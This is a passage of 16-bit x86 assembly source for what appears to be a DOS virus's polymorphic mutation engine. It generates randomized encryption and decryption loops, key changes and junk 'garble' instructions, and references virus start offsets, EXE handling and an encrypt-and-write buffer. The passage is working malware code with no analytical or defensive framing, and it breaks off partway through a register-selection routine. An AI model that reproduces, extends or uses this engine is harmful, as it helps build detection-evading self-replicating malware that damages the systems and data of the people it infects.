  1667. _dx             equ     2
  1668. _bx             equ     3
  1669. _sp             equ     4
  1670. _bp             equ     5
  1671. _si             equ     6
  1672. _di             equ     7
  1673.  
  1674.                 
  1675. engine:         mov     ds:pointer,ax           ; save IP
  1676.                 mov     di,offset decrypt
  1677.                 mov     bx,offset make_count
  1678.                 mov     cx,offset make_key
  1679.                 mov     dx,offset make_ptr
  1680.                 mov     si,offset order_ret
  1681.                 or      bp,11101111b            ; SP is used
  1682.                 call    order                   ; randomize and call registers
  1683.                 push    di                      ; save start of loop
  1684.                 push    di
  1685.                 mov     si,offset encode
  1686.                 mov     di,offset write_buff
  1687.                 mov     cx,encode_end-encode
  1688.                 rep     movsb                   ; copy write code
  1689.                 mov     ds:encode_ptr,offset (encode_break-encode)+write_buff
  1690.                 pop     di
  1691.                 mov     bx,offset make_enc
  1692.                 mov     cx,offset make_keychange
  1693.                 mov     dx,offset make_deccount
  1694.                 mov     si,offset make_incptr
  1695.                 call    order                   ; call routines
  1696.  
  1697. ;=====( Preform loop )=======================================================;
  1698.  
  1699.                 mov     ax,2
  1700.                 push    ax
  1701.                 call    random                  ; test BP for 4000?
  1702.                 pop     ax
  1703.                 jz      loop_no_test
  1704.                 test    bp,4000h                ; possible to just "Jcc"?
  1705.                 jnz     loop_make_jcc
  1706. loop_no_test:   call    random
  1707.                 jz      loop_no_test1
  1708.                 test    bp,2000h                ; use loop?
  1709.                 jnz     loop_make_jcc
  1710. loop_no_test1:  or      bp,800h                 ; do not change flags
  1711.                 mov     ax,2
  1712.                 cwd
  1713.                 call    random                  ; try OR/AND/TEST reg,reg
  1714.                                                 ; or XOR/ADD/OR/SUB reg,0?
  1715.                 mov     al,ds:count_reg         ; get counter
  1716.                 jnz     loop_orandtest
  1717.                 call    boolean                 ; do XOR/OR/ADD or ADD/SUB?
  1718.                 jnz     loop_modify
  1719.                 call    add_reg                 ; ADD/SUB reg,0
  1720.                 jmp     loop_make_jcc
  1721.  
  1722. loop_modify:    call    modify_reg              ; XOR/OR/ADD reg,0
  1723.                 jmp     loop_make_jcc
  1724.  
  1725. loop_orandtest: mov     cl,3
  1726.                 mov     ch,al
  1727.                 shl     ch,cl
  1728.                 or      al,ch                   ; set reg1 as reg2 also
  1729.                 mov     bx,2                    ; OR/AND/TEST
  1730.                 call    random_bx
  1731.                 jnz     loop_and
  1732.                 or      ax,9c0h                 ; OR reg1, reg2
  1733. loop_reverse:   call    boolean                 ; use 9 or 11?
  1734.                 jnz     loop_orandteststo
  1735.                 or      ah,2h                   ; reg2, reg1
  1736.                 jmp     loop_orandteststo
  1737.  
  1738. loop_and:       dec     bx
  1739.                 jnz     loop_test
  1740.                 or      ax,21c0h                ; AND reg1, reg2
  1741.                 jmp     loop_reverse
  1742.  
  1743. loop_test:      or      ax,85c0h                ; TEST reg1, reg2
  1744. loop_orandteststo:
  1745.                 xchg    al,ah
  1746.                 stosw                           ; store TEST/OR/AND
  1747.                 or      bp,1800h                ; do not change flags/
  1748.                                                 ; test stored
  1749.                 call    garble
  1750. loop_make_jcc:  and     bp,not 800h
  1751.                 test    bp,2000h                ; code loop?
  1752.                 jz      loop_make_jump
  1753.                 mov     al,0e2h                 ; LOOP
  1754.                 test    bp,1000h                ; possible to use LOOPNZ/Z?
  1755.                 jz      loop_code_disp
  1756.                 call    boolean
  1757.                 jnz     loop_code_disp
  1758.                 dec     ax                      ; LOOPZ
  1759.                 call    boolean
  1760.                 jnz     loop_iscx
  1761.                 dec     ax                      ; LOOPNZ
  1762.                 jmp     loop_code_disp
  1763.                 
  1764. ;=====( Now make conditional jump )==========================================;
  1765.  
  1766. jcc_tbl:        db      75h,79h,7dh,7fh         ; JNE/JNS/JG/JGE
  1767.  
  1768. loop_make_jump: mov     bx,offset jcc_tbl
  1769.                 mov     ax,3
  1770.                 call    random
  1771.                 xlat                            ; get Conditional jump
  1772.                 mov     bx,2
  1773.                 call    random_bx               ; use JE/JS/LE/L then JMP?
  1774.                 jnz     loop_code_disp
  1775.                 cmp     ds:count_reg,_cx        ; CX is counter?
  1776.                 jnz     loop_notcx
  1777.                 mov     bl,4
  1778.                 call    random_bx
  1779.                 jnz     loop_notcx
  1780.                 mov     al,0e3h + 1             ; JCXZ + 1
  1781. loop_notcx:     dec     ax
  1782. loop_iscx:      stosw
  1783.                 cmp     al,07fh                 ; Jcxz/loopz?
  1784.                 ja      loop_code_short
  1785.                 call    boolean                 ; Use opposite or EB?
  1786.                 jnz     loop_code_short
  1787.                 or      bp,800h                 ; dont change flags
  1788. loop_code_short:mov     si,di                   ; save offset of displacement
  1789.                 call    garble
  1790.                 lea     ax,ds:[si-2]
  1791.                 sub     ax,di
  1792.                 neg     al                      ; get jump displacement
  1793.                 mov     ds:[si-1],al            ; save it
  1794.                 test    bp,800h                 ; Dont change flags -> "Jcc"
  1795.                 mov     al,0ebh                 ; Jmp short
  1796.                 je      loop_code_disp
  1797.                 mov     ax,3
  1798.                 call    random
  1799.                 mov     bx,offset jcc_tbl
  1800.                 xlat                            ; Get JNE/JNS/JG/JGE
  1801. loop_code_disp: stosb                           ; store jump
  1802.                 pop     ax                      ; start of loop
  1803.                 dec     ax
  1804.                 sub     ax,di                   ; get loop displacement
  1805.                 stosb
  1806.                 or      bp,11101111b            ; free all registers
  1807.                 and     bp,not 800h             ; allow flags to change
  1808.                 call    garble
  1809.                 mov     ax,19
  1810.                 call    random                  ; 1 in 20 chance of non-jmp
  1811.                 jnz     loop_code_jmp
  1812.                 mov     ax,ds:pointer
  1813.                 add     ax,offset file_start    ; where to jump
  1814.                 xchg    dx,ax
  1815.                 call    get_reg                 ; get a register
  1816.                 call    mov_reg                 ; Mov value into register
  1817.                 or      ax,0ffc0h + (4 shl 3)   ; JMP reg16
  1818.                 call    boolean                 ; PUSH/RET or JMP reg16?
  1819.                 jnz     loop_code_push
  1820.                 xchg    al,ah
  1821.                 jmp     loop_code_stosw
  1822.  
  1823. loop_code_push: mov     bx,2
  1824.                 call    random_bx               ; 1 in 3 chance of FF /6 PUSH
  1825.                 jnz     loop_code_push1
  1826.                 xor     al,(6 shl 3) xor (4 shl 3) ; PUSH reg
  1827.                 xchg    al,ah                
  1828.                 stosw
  1829.                 jmp     loop_code_ret
  1830.  
  1831. loop_code_push1:xor     al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
  1832.                 stosb
  1833. loop_code_ret:  call    garble
  1834.                 mov     al,0c3h                 ; RETN
  1835.                 stosb
  1836.                 jmp     loop_code_end
  1837.  
  1838. loop_code_jmp:  mov     al,0e9h
  1839.                 stosb                           ; Store Jump
  1840.                 lea     ax,ds:[di-((file_start-2)-v_start)]
  1841.                 neg     ax                      ; Jmp file_start
  1842. loop_code_stosw:stosw
  1843. loop_code_end:  mov     si,ds:encode_enc_ptr    ; get encrypt instruction ptr                                
  1844.                 cmp     di,offset header        ; Decryptor is too large?
  1845.                 jb      go_write_buff
  1846.                 stc                             ; return error
  1847.                 pushf
  1848.                 pop     bp
  1849.                 retn
  1850.  
  1851. go_write_buff:  jmp     write_buff              ; encrypt/write/decrypt
  1852.  
  1853.  
  1854. ;=====( Inc pointer )========================================================;
  1855.  
  1856. make_incptr:    mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  1857.                 mov     dx,2                    ; ADD ptr,2
  1858.                 cmp     ah,-1                   ; two registers used?
  1859.                 jz      make_incptr_1
  1860.                 call    boolean                 ; do one or both?
  1861.                 jnz     make_incptr_do1
  1862.                 dec     dx                      ; ADD ptr,1
  1863.                 call    make_incptr_do1
  1864.                 jmp     make_incptr_2
  1865.  
  1866. make_incptr_do1:call    boolean
  1867.                 jnz     make_incptr_1
  1868. make_incptr_2:  xchg    al,ah
  1869. make_incptr_1:  call    add_reg
  1870.                 sub     ds:disp,dx              ; add to displacement
  1871.                 retn 
  1872.  
  1873. ;=====( Dec counter )========================================================;
  1874.  
  1875. make_deccount:  cmp     si,offset make_deccount ; last operation?
  1876.                 jnz     make_deccount_notlast
  1877.                 call    boolean                 ; do it?
  1878.                 jnz     make_deccount_notlast
  1879.                 or      bp,4800h                ; remember we're last
  1880. make_deccount_notlast:
  1881.                 mov     al,ds:count_reg
  1882.                 cmp     al,_cx                  ; possible to use LOOP/LOOPNZ?
  1883.                 jnz     make_deccount_notcx
  1884.                 call    boolean
  1885.                 jnz     make_deccount_notcx
  1886.                 or      bp,2000h                ; do LOOP
  1887.                 jmp     make_deccount_exit
  1888.  
  1889. make_deccount_notcx:
  1890.                 mov     dx,-1                   ; ADD counter,-1
  1891.                 call    add_reg
  1892. make_deccount_exit:
  1893.                 or      bp,400h                 ; deccount executed
  1894.                 retn                   
  1895.  
  1896. ;=====( Make encryption instruction )========================================;
  1897.  
  1898. make_enc:       push    bp
  1899.                 and     bp,not 400h
  1900.                 mov     al,ds:key_reg
  1901.                 push    ax                      ; save key register
  1902. make_enc_which: mov     ax,4                    ; ADD/SUB/XOR/ROR/ROL
  1903.                 call    random
  1904.                 mov     bx,0105h                ; ADD [DI],AX
  1905.                 mov     cx,1119h                ; ADC/SBB
  1906.                 mov     dx,2905h                ; SUB [DI],AX
  1907.                 jz      make_enc_add
  1908.                 dec     ax
  1909.                 jz      make_enc_sub
  1910.                 dec     ax
  1911.                 jnz     make_enc_ror
  1912.                 mov     bh,31h                  ; XOR
  1913.                 mov     dx,3105h                ; XOR [DI],AX
  1914.                 jmp     make_enc_sto
  1915.  
  1916. make_enc_ror:   cmp     ds:key_reg,_cx          ; CX is key?
  1917.                 jne     make_enc_which
  1918.                 or      bp,400h                 ; Put XCHG CX,AX
  1919.                 mov     bh,0d3h
  1920.                 mov     dx,0d30dh               ; ROL 
  1921.                 dec     ax
  1922.                 jz      r_make_enc_sto
  1923.                 xchg    bx,dx                   ; ROR
  1924. r_make_enc_sto: mov     ds:key_reg,al           ; 1 SHL 3 = 08 / D3 08
  1925.                                                 ; D3 00 = ROL [],CL
  1926.                 jmp     make_enc_sto
  1927.  
  1928. make_enc_sub:   xchg    dh,bh                   ; SUB - ADD [DI],AX
  1929.                 xchg    cl,ch                   ; SBB/ADC
  1930. make_enc_add:   call    boolean                 ; do Carry?
  1931.                 jnz     make_enc_sto
  1932.                 push    bx
  1933.                 mov     bh,ch                   ; Make it ADC/SBB
  1934.                 call    clear_carry
  1935.                 cmp     al,0
  1936.                 org     $ - 1
  1937. make_enc_sto:   push    bx
  1938.                 test    bp,8000h                ; EXE file?
  1939.                 jz      make_enc_com
  1940.                 call    is_bp_ptr               ; is BP a pointer?
  1941.                 je      make_enc_com
  1942.                 mov     al,2eh                  ; CS:
  1943.                 call    boolean
  1944.                 jnz     make_enc_cs
  1945.                 mov     al,36h                  ; SS:
  1946. make_enc_cs:    stosb                           ; store segment override
  1947. make_enc_com:   mov     al,bh
  1948.                 stosb                           ; store instruction
  1949.                 mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  1950.                 cmp     ah,-1                   ; second reg?
  1951.                 je      make_enc_xlat
  1952.                 add     al,ah
  1953. make_enc_xlat:  mov     bx,offset rm_tbl
  1954.                 xlat                            ; get r/m
  1955.                 call    is_bp_ptr               ; is BP a pointer?
  1956.                 jnz     make_enc_nobp
  1957.                 inc     ah                      ; is there a second reg?
  1958.                 jne     make_enc_nobp
  1959.                 or      al,01000000b            ; [BP+xx]
  1960. make_enc_nobp:  mov     cx,ds:disp              ; get displacement
  1961.                 mov     bx,6
  1962.                 call    random_bx               ; allow no displacement?
  1963.                 jz      make_enc_get_disp
  1964.                 jcxz    make_enc_sto_rm
  1965. make_enc_get_disp:
  1966.                 or      al,01000000b            ; 8bit displacement
  1967.                 call    boolean                 ; allow 8bit displacement?
  1968.                 jnz     make_enc_16bit
  1969.                 cmp     cx,7fh                  ; 8bit displacement?
  1970.                 jbe     make_enc_sto_rm         
  1971.                 cmp     cx,-80h
  1972.                 jb      make_enc_16bit
  1973.                 xor     ch,ch
  1974.                 cmp     ax,0
  1975.                 org     $ - 2
  1976. make_enc_16bit: xor     al,11000000b            ; 8bit off, 16bit on
  1977. make_enc_sto_rm:mov     ah,ds:key_reg
  1978.                 shl     ah,1
  1979.                 shl     ah,1
  1980.                 shl     ah,1                    ; from bits 0-2 of AH
  1981.                 or      al,ah                   ; to bits 3-5 of AL
  1982.                 stosb                           ; store r/m byte 
  1983.                 test    al,11000000b            ; any displacement?
  1984.                 jz      make_enc_disp
  1985.                 test    al,10000000b            ; 16bit displacement?
  1986.                 xchg    cx,ax
  1987.                 stosw                           ; store displacement
  1988.                 jnz     make_enc_disp
  1989.                 dec     di                      ; 8bit only
  1990. make_enc_disp:  xchg    di,ds:encode_ptr        ; get encode ptr
  1991.                 test    bp,400h                 ; store XCHG CX,AX?
  1992.                 je      make_enc_nor
  1993.                 mov     al,91h                  ; XCHG CX,AX
  1994.                 stosb
  1995. make_enc_nor:   xchg    dx,ax
  1996.                 xchg    al,ah
  1997.                 mov     ds:encode_enc_ptr,di    ; save instruction pointer
  1998.                 stosw                           ; set encryption instruction
  1999.                 je      make_enc_nor1
  2000.                 mov     al,91h                  ; XCHG CX,AX
  2001.                 stosb
  2002. make_enc_nor1:  xchg    di,ds:encode_ptr        ; restore decrypt ptr
  2003.                 pop     ax
  2004.                 xchg    al,ah
  2005.                 mov     word ptr ds:write_buff[encode_flip-encode],ax 
  2006.                                                 ; save opposite operation
  2007.                 pop     ax 
  2008.                 mov     ds:key_reg,al           ; restore key register
  2009.                 pop     bp
  2010.                 retn
  2011.                 
  2012. rm_tbl:         db      -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3  ; -1's not used
  2013.  
  2014. ;=====( Change key )=========================================================;
  2015.  
  2016. make_keychange: call    boolean                 ; change key?
  2017.                 jnz     make_keychange_yes
  2018.                 retn
  2019.                 
  2020. make_keychange_yes:
  2021.                 push    bp
  2022.                 or      bp,200h                 ; let know that keychange
  2023.                 mov     ax,3
  2024.                 call    random                  ; 1 in 4 chance of modify_reg
  2025.                 jnz     keychange_other
  2026.                 call    random_1
  2027.                 xchg    dx,ax                   ; Random value to modify key
  2028.                                                 ; reg by
  2029.                 mov     al,ds:key_reg
  2030.                 call    modify_reg              ; XOR/ADD/OR
  2031. keychange_stoop:xchg    di,ds:encode_ptr        ; get ptr to encode
  2032.                 inc     di                      ; CLC
  2033.                 mov     al,ds:modify_op         ; get operation
  2034.                 stosb
  2035. keychange_stodx:xchg    dx,ax                   ; store value/operation
  2036. keychange_sto:  stosw
  2037.                 xchg    di,ds:encode_ptr        ; get decrypt pointer
  2038.                 pop     bp
  2039.                 retn
  2040.  
  2041. keychange_other:mov     al,4                    ; ROR/ROL/NOT/NEG/ADD
  2042.                 call    random 
  2043.                 jnz     keychange_rol
  2044.                 mov     ax,0d1c0h               ; ROR AX,1
  2045. keychange_cl:   mov     bx,2                    ; 1 in 3 chance of ,CL
  2046.                 call    random_bx
  2047.                 jnz     keychange_nocl
  2048.                 cmp     ds:count_reg,_cx          ; Count is CX?
  2049.                 jne     keychange_nocl
  2050.                 test    bp,400h                 ; Count already decremented?
  2051.                 jnz     keychange_nocl
  2052.                 or      ah,2                    ; By CL
  2053. keychange_nocl: xchg    al,ah
  2054.                 push    ax
  2055.                 or      ah,ds:key_reg           ; set key register
  2056.                 stosw                           ; store instruction
  2057.                 pop     ax
  2058.                 xchg    di,ds:encode_ptr        ; get encode ptr
  2059.                 jmp     keychange_sto
  2060.  
  2061. keychange_rol:  dec     ax
  2062.                 jnz     keychange_not
  2063.                 mov     ax,0d1c0h or (1 shl 3)  ; ROL AX,1
  2064.                 jmp     keychange_cl
  2065.  
  2066. keychange_not:  dec     ax
  2067.                 jnz     keychange_neg                
  2068.                 mov     ax,0f7c0h + (2 shl 3)   ; NOT AX
  2069.                 jmp     keychange_nocl
  2070.  
  2071. keychange_neg:  dec     ax
  2072.                 jnz     keychange_add
  2073.                 mov     ax,0f7c0h + (3 shl 3)   ; NEG AX
  2074.                 jmp     keychange_nocl
  2075.  
  2076. keychange_add:  call    random_1
  2077.                 xchg    dx,ax
  2078.                 mov     al,ds:key_reg           ; get key register
  2079.                 call    add_reg                 ; ADD reg(ax), value(dx)
  2080.                 jmp     keychange_stoop
  2081.  
  2082. ;=====( Build key )==========================================================;
  2083.  
  2084. make_key:       call    get_reg                 ; get register
  2085.                 xchg    dx,ax
  2086.                 call    random_1                ; get key
  2087.                 mov     ds:key,ax               ; save key
  2088.                 xchg    dx,ax
  2089.                 mov     ds:key_reg,al           ; save register
  2090.                 call    mov_reg                 ; MOV reg(ax),value(dx)
  2091.                 retn
  2092.  
  2093. ;=====( Build counter )======================================================;
  2094.  
  2095. make_count:     call    get_reg                 ; get register
  2096.                 mov     ds:count_reg,al         ; save register
  2097.                 mov     dx,(decrypt-v_start)/2  ; # of words to crypt
  2098.                 call    mov_reg                 ; mov reg(ax),value(dx)
  2099.                 retn
  2100.  
  2101. ;=====( Build Pointer )======================================================;
  2102.  
  2103. make_ptr:       mov     dx,ds:pointer
  2104.                 call    get_ptr_reg             ; get DI/SI/BP/BX
  2105.                 mov     ds:ptr_reg,al
  2106.                 mov     ds:ptr_reg1,-1          
  2107.                 mov     bx,3
  2108.                 call    random_bx               ; 1 in 4 chance of 2 regs
  2109.                 jnz     make_ptr_2
  2110.                 cmp     al,_si
  2111.                 mov     bx,11000000b            ; DI/SI
  2112.                 jb      make_ptr_test
  2113.                 mov     bl,00101000b            ; BP/BX
  2114. make_ptr_test:  test    bp,bx                   ; 'other' availible?
  2115.                 jz      make_ptr_2
  2116. make_ptr_again: call    get_ptr_reg             ; get DI/SI/BP/BX
  2117.                 push    ax
  2118.                 call    conv_num                ; convert to bit-map number
  2119.                 test    al,bl                   ; is it other type?
  2120.                 pop     ax
  2121.                 jnz     make_ptr_ok
  2122.                 call    del_reg                 ; delete register
  2123.                 jmp     make_ptr_again
  2124.  
  2125. make_ptr_ok:    mov     ds:ptr_reg1,al          ; save second register
  2126.                 mov     bx,-1
  2127.                 call    random_bx
  2128.                 sub     dx,bx                   ; randomize values
  2129.                 xchg    bx,dx
  2130.                 call    mov_reg                 ; mov reg(ax), value(dx)
  2131.                 xchg    bx,dx
  2132.                 mov     al,ds:ptr_reg           ; get first reg
  2133. make_ptr_2:     xor     bx,bx                   ; zero displacement
  2134.                 call    boolean                 ; use one?
  2135.                 jnz     make_ptr_nodisp
  2136.                 mov     bx,-1
  2137.                 call    random_bx
  2138.                 sub     dx,bx                   ; subtract displacement
  2139. make_ptr_nodisp:mov     ds:disp,bx              ; save displacement
  2140.                 call    mov_reg                 ; mov reg(ax), value(dx)
  2141.                 retn
  2142.                 
  2143. ;=====( Shell for mov_reg1 )=================================================;
  2144.  
  2145. mov_reg:        push    bx dx
  2146.                 mov     bx,4
  2147.                 call    random_bx               ; 1 in 5 chance of MOV/ADD/SUB
  2148.                 jnz     mov_reg_call
  2149.                 mov     bx,-1
  2150.                 call    random_bx               ; get random #
  2151.                 sub     dx,bx                   ; MOV reg, value-random #
  2152.                 call    mov_reg1                ; do MOV reg,
  2153.                 mov     dx,bx
  2154.                 call    add_reg                 ; Now add difference
  2155.                 pop     dx bx
  2156.                 retn
  2157.  
  2158. mov_reg_call:   pop     dx bx
  2159.  
  2160. ;=====( Mov reg(ax), value(dx) )=============================================;
  2161.  
  2162. mov_reg1:       push    ax bx cx dx
  2163.                 cbw
  2164.                 mov     bx,2
  2165.                 call    random_bx               ; MOV or SUB/XOR ADD/OR/XOR
  2166.                 jz      mov_reg_other
  2167.                 mov     bl,2
  2168.                 call    random_bx               ; 1 in 3 chance of c6/c7 MOV
  2169.                 jnz     mov_reg_b0
  2170.                 or      ax,0c7c0h               ; MOV reg,imm
  2171.                 call    boolean                 ; Do long MOV or LEA?
  2172.                 jnz     mov_reg_c7
  2173.                 mov     cl,3
  2174.                 shl     al,cl                   ; Reg -> bits 3,4,5
  2175.                 xor     ax,(8d00h or 110b) xor 0c700h  ; LEA reg,[imm]
  2176. mov_reg_c7:     xchg    al,ah
  2177.                 stosw                           ; store it
  2178. mov_reg_sto:    xchg    dx,ax
  2179.                 stosw                           ; store value
  2180.                 call    garble
  2181. mov_reg_exit:   jmp     modify_pop
  2182.  
  2183. mov_reg_b0:     or      al,0b8h                 ; MOV reg,imm
  2184.                 stosb
  2185.                 jmp     mov_reg_sto
  2186.  
  2187. mov_reg_other:  push    ax
  2188.                 mov     cl,3
  2189.                 mov     ch,al
  2190.                 shl     ch,cl                   ; copy reg1 to reg2
  2191.                 or      al,ch                   ; set it
  2192.                 call    boolean
  2193.                 jnz     mov_reg_other1
  2194.                 or      ah,2                    ; reg1, reg2 -> reg2, reg1
  2195. mov_reg_other1: call    boolean
  2196.                 jnz     mov_reg_xor
  2197.                 or      ax,29c0h                ; SUB reg, reg
  2198.                 call    boolean
  2199.                 jnz     mov_reg_other_sto
  2200.                 xor     ah,19h xor 29h          ; SBB reg, reg
  2201.                 call    clear_carry             ; clear carry flag
  2202. mov_reg_other_sto:
  2203.                 xchg    al,ah
  2204.                 stosw
  2205.                 call    garble
  2206.                 pop     ax
  2207.                 call    modify_reg              ; ADD/OR/XOR reg(ax),value(dx)
  2208.                 jmp     mov_reg_exit
  2209.  
  2210. mov_reg_xor:    or      ax,31c0h                ; XOR AX,AX
  2211.                 jmp     mov_reg_other_sto
  2212.  
  2213. ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
  2214.  
  2215. modify_reg:     push    ax bx cx dx
  2216.                 cbw
  2217.                 mov     bx,2
  2218.                 call    random_bx
  2219.                 mov     cx,3500h + (6 shl 3)    ; XOR
  2220.                 jz      modify_reg_cont
  2221.                 mov     cx,0d00h + (1 shl 3)    ; OR
  2222.                 dec     bx
  2223.                 jz      modify_reg_cont
  2224. modify_reg_add: mov     cx,0500h                ; ADD
  2225.                 call    boolean                 ; ADC or ADD?
  2226.                 jnz     modify_reg_cont
  2227.                 mov     cx,1500h + (2 shl 3)    ; ADC
  2228. modify_reg_clc: call    clear_carry             ; Clear carry flag
  2229. modify_reg_cont:test    bp,200h                 ; keychange executing?
  2230.                 jz      modify_reg_nosave
  2231.                 mov     ds:modify_op,ch         ; save AX operation
  2232. modify_reg_nosave:
  2233.                 call    boolean                 ; check if AX?
  2234.                 jnz     modify_reg_noax
  2235.                 or      al,al                   ; AX?
  2236.                 jnz     modify_reg_noax
  2237.                 mov     al,ch
  2238.                 stosb                           ; store instruction
  2239.                 xchg    dx,ax
  2240. modify_sto:     stosw                           ; store value
  2241. modify_exit:    call    garble
  2242. modify_pop:     pop     dx cx bx ax
  2243.                 retn
  2244.  
  2245. modify_reg_noax:or      ax,81c0h
  2246.                 or      al,cl                   ; XOR/OR/ADD
  2247.                 call    boolean                 ; sign extend?
  2248.                 jnz     modify_reg_nosign
  2249.                 cmp     dx,7fh                  ; possible to sign extend?
  2250.                 jbe     modify_sign
  2251.                 cmp     dx,-80h
  2252.                 jb      modify_reg_nosign
  2253. modify_sign:    or      ah,2                    ; sign extend
  2254. modify_reg_nosign:                
  2255.                 xchg    al,ah
  2256.                 stosw
  2257.                 test    al,2                    ; sign extended?
  2258.                 xchg    dx,ax
  2259.                 je      modify_sto
  2260.                 stosb
  2261.                 jmp     modify_exit
  2262.                 
  2263. ;=====( ADD reg(ax), value(dx) )=============================================;
  2264.  
  2265. add_reg:        push    ax bx cx dx
  2266.                 cbw
  2267.                 mov     cx,dx
  2268. add_loop:       mov     bx,3
  2269.                 call    random_bx               ; 1 in 4 chance of ADD/SUB
  2270.                 jz      add_noinc
  2271.                 mov     bx,40c0h                ; INC reg
  2272.                 test    bp,200h                 ; keychange running?
  2273.                 jz      add_nosave
  2274.                 mov     ds:modify_op,05h        ; ADD AX,
  2275. add_nosave:     cmp     cx,3h                   ; too high to INC?
  2276.                 jb      add_inc
  2277.                 neg     cx
  2278.                 cmp     cx,3h                   ; too low to DEC?
  2279.                 ja      add_noinc
  2280.                 mov     bx,48c0h + (1 shl 3)    ; DEC reg
  2281.                 test    bp,200h
  2282.                 jz      sub_nosave
  2283.                 mov     ds:modify_op,2dh        ; SUB AX,
  2284. sub_nosave:     inc     dx
  2285.                 inc     cx
  2286.                 cmp     ax,0
  2287.                 org     $ - 2
  2288. add_inc:        dec     dx
  2289.                 dec     cx
  2290.                 push    ax
  2291.                 mov     ax,5
  2292.                 call    random                  ; 1 in 6 chance of FF
  2293.                 pop     ax      
  2294.                 push    ax
  2295.                 jnz     add_inc_40
  2296.                 mov     ah,0ffh
  2297.                 xchg    bl,bh
  2298.                 xchg    al,ah                   ; AL=ff AH=Reg
  2299.                 stosb 
  2300.                 xchg    al,ah
  2301. add_inc_40:     or      al,bh                   ; set DEC/INC
  2302.                 stosb
  2303.                 pop     ax
  2304.                 call    garble
  2305.                 or      dx,dx                   ; all done?
  2306.                 jnz     add_loop
  2307. add_reg_exit:   jmp     modify_pop
  2308.  
  2309. add_noinc:      call    boolean                 ; ADD or SUB?
  2310.                 jz      sub_reg
  2311.                 jmp     modify_reg_add
  2312.                 
  2313. sub_reg:        test    bp,200h                 ; keychange?
  2314.                 jnz     sub_reg_key
  2315.                 neg     dx
  2316. sub_reg_key:    mov     cx,2d00h + (5 shl 3)    ; SUB
  2317.                 call    boolean                 ; use SBB?
  2318.                 jz      sbb_reg
  2319.                 jmp     modify_reg_cont
  2320.  
  2321. sbb_reg:        mov     cx,1d00h + (3 shl 3)    ; SBB
  2322.                 jmp     modify_reg_clc
  2323.                 
  2324. ;=====( clear carry flag )===================================================;
  2325.  
  2326. clear_carry:    push    ax bp
  2327.                 or      bp,800h                 ; don't change flags
  2328.                 mov     al,0f8h                 ; CLC
  2329.                 call    boolean
  2330.                 jnz     clear_carry_clc
  2331.                 mov     ax,0f5f9h               ; STC/CMC
  2332.                 stosb
  2333.                 call    garble
  2334.                 xchg    al,ah
  2335. clear_carry_clc:stosb
  2336.                 call    garble
  2337.                 pop     bp ax
  2338.                 retn
  2339.  
  2340. garble:         push    ax
  2341.                 mov     ax,2
  2342.                 call    random                  ; how many times to call?
  2343.                 xchg    cx,ax
  2344.                 jcxz    garble_exit
  2345. garble_loop:    call    garble1
  2346.                 loop    garble_loop
  2347. garble_exit:    xchg    cx,ax
  2348.                 pop     ax
  2349.                 retn
  2350.  
  2351. ;=====( add garbage code )===================================================;
  2352.  
  2353. garble1:        push    ax bx cx dx bp
  2354.                 test    bp,100h                 ; Garble already executing?
  2355.                 jnz     garble_ret
  2356.                 and     bp,not 200h             ; keychange not executing
  2357.                 or      bp,100h                 ; Garble executing
  2358.                 call    boolean
  2359.                 jnz     garble_ret
  2360.                 mov     cl,3
  2361.                 call    random_1
  2362.                 xchg    dx,ax                   ; DX=random number
  2363.                 call    get_reg                 ; get register
  2364.                 jc      garble_ret
  2365.                 mov     bx,6
  2366.                 test    bp,800h                 ; flag change allowed?
  2367.                 jz      garble_f
  2368.                 mov     bl,2
  2369. garble_f:       call    random_bx            ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
  2370.                 jnz     garble_xchg
  2371.                 or      ah,89h
  2372. garble_reg_set: call    boolean                 ; reg1, reg2 or reg2, reg1?
  2373.                 jz      garble_reg_reg
  2374.                 or      ah,2                    ; 8b
  2375.                 xchg    al,dl
  2376. garble_reg_reg: and     dl,7                    ; Get register values only
  2377.                 and     al,7
  2378.                 shl     dl,cl
  2379.                 or      al,0c0h                 ; MOV reg1, random reg
  2380.                 or      al,dl
  2381.                 xchg    al,ah
  2382.                 stosw
  2383. garble_ret:     pop     bp 
  2384.                 jmp     modify_pop
  2385.  
  2386. garble_xchg:    dec     bx
  2387.                 jnz     garble_1byte
  2388.                 xchg    dx,ax
  2389.                 call    get_reg                 ; get another reg
  2390.                 jc      garble_ret
  2391.                 xchg    dx,ax                   ; AL=reg1 DL=reg2
  2392.                 call    boolean
  2393.                 jnz     garble_xchgnoax
  2394.                 or      dl,dl                   ; AX?
  2395.                 jz      garble_xchgax
  2396.                 or      al,al
  2397.                 jz      garble_xchgax
  2398. garble_xchgnoax:or      ah,87h                  ; XCHG reg1,
  2399.                 jmp     garble_reg_reg
  2400.  
  2401. garble_xchgax:  or      al,90h
  2402.                 or      al,dl                   ; XCHG AX, reg
  2403. garble_stosb:   stosb
  2404.                 jmp     garble_ret
  2405.                 
  2406. garble_1byte:   dec     bx
  2407.                 jnz     garble_modify
  2408.                 mov     al,4
  2409.                 call    random
  2410.                 mov     bx,offset garble_1byte_tbl
  2411.                 xlat                            ; get 1 byte instruction
  2412.                 jmp     garble_stosb
  2413.                 
  2414. garble_modify:  dec     bx
  2415.                 jnz     garble_add
  2416.                 call    modify_reg              ; ADD/XOR/OR reg1, random #
  2417.                 jmp     garble_ret
  2418.  
  2419. garble_add:     dec     bx
  2420.                 jnz     garble_mov
  2421.                 call    add_reg                 ; ADD/SUB reg1, random #
  2422.                 jmp     garble_ret
  2423.  
  2424. garble_mov:     dec     bx
  2425.                 jnz     garble_op
  2426.                 call    mov_reg                 ; MOV reg1, random #
  2427.                 jmp     garble_ret
  2428.  
  2429. garble_op:      and     dh,00111000b            ; get rnd op
  2430.                 mov     ah,1
  2431.                 or      ah,dh
  2432.                 jmp     garble_reg_set
  2433.  
  2434. garble_1byte_tbl:
  2435.                 db      2eh
  2436.                 db      36h
  2437.                 cld
  2438.                 std
  2439.                 sti
  2440.                 
  2441. ;=====( Is BP a Pointer? )===================================================;
  2442.  
  2443. is_bp_ptr:      cmp     ds:ptr_reg,_bp
  2444.                 je      bp_is_ptr
  2445.                 cmp     ds:ptr_reg1,_bp
  2446. bp_is_ptr:      retn
  2447.  
  2448. ;=====( Get pointer register (DI/SI/BP/BX) )=================================;
  2449.  
  2450. get_ptr_regnext:call    del_reg                 ; restore register to pool
  2451.  
  2452. get_ptr_reg:    call    get_reg                 ; get register
